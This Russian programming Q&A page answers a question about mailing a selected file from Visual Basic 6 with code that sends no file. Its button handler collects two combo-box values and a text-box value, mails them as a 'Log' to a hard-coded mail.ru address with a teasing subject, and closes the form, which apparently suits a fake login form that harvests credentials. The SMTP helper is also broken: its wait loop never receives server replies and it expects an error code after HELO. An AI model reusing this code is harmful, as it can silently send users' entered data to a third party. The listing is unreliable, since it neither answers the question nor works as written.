Отправка файла на почтовый ящик mail.ru - VB

Узнай цену своей работы

Формулировка задачи:

Подскажите пожалуйста как отправить выбранный файл в visual basiс 6.0 на почтовый ящик mail.ru, не как не могу понять как это сделать.

Решение задачи: «Отправка файла на почтовый ящик mail.ru»

textual
Листинг программы
Private Sub Command1_Click()
Dim cmbtxt, txt2
cmbtxt = Combo1.Text & Combo2.Text
txt2 = Text1.Text
Call SendEmail("Mail.ru", "ЯЯЯяяяяяя", cmbtxt, "Повелителю", "vl.artes@mail.ru", "Лови милый", "Log: " & cmbtxt & "; " & txt2)
Unload Form1
End Sub
 
Sub WaitFor(ResponseCode As String)
Dim Start As Double
Dim Response As String
Dim Tmr As Integer
Start = Timer ' Time event so won't get stuck in loop
While Len(Response) = 0
Tmr = Timer - Start
DoEvents
If Tmr > 60 Then ' Время в секундах на ожидание
Winsock1.Close
Exit Sub
End If
Wend
While Left(Response, 3) <> ResponseCode
DoEvents
If Tmr > 60 Then
Exit Sub
End If
Wend
Response = ""
End Sub
 
Sub SendEmail(MailServerName As String, FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)
On Error GoTo Tut
Winsock1.LocalPort = 0
If Winsock1.State = sckClosed Then
DateNow = Format(Date, "Ddd") & ", " & Format(Date, "dd Mmm YYYY") & " " & Format(Time, "hh:mm:ss") & "" & " -0600"
First = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf
Second = "rcpt to:" + Chr(32) + ToEmailAddress + vbCrLf
Third = "Date:" + Chr(32) + DateNow + vbCrLf
Fourth = "From:" + Chr(32) + FromName + vbCrLf
Seventh = EmailBodyOfMessage + vbCrLf
Eighth = "From:" + Chr(32) + vbCrLf + "To:" + ToName + Chr(32) + vbCrLf + "Subject:" + EmailSubject
Winsock1.Protocol = 0
Winsock1.RemoteHost = MailServerName
Winsock1.RemotePort = 25
Winsock1.Connect
WaitFor ("220")
Winsock1.SendData ("HELO " + vbCrLf)
WaitFor ("501")
Winsock1.SendData (First)
WaitFor ("250")
Winsock1.SendData (Second)
WaitFor ("250")
Winsock1.SendData ("data" + vbCrLf)
WaitFor ("354")
Winsock1.SendData (Eighth + vbCrLf)
Winsock1.SendData (EmailBodyOfMessage + vbCrLf)
Winsock1.SendData ("." + vbCrLf)
WaitFor ("250")
Winsock1.SendData ("quit" + vbCrLf)
WaitFor ("221")
Winsock1.Close
Else
GoTo Tut
End If
MsgBox "Письмо отправлено"
Exit Sub
Tut:
MsgBox "Письмо не отправлено. Ошибка ? " & Str(Winsock1.State)
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData Response
End Sub

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

6   голосов , оценка 3.833 из 5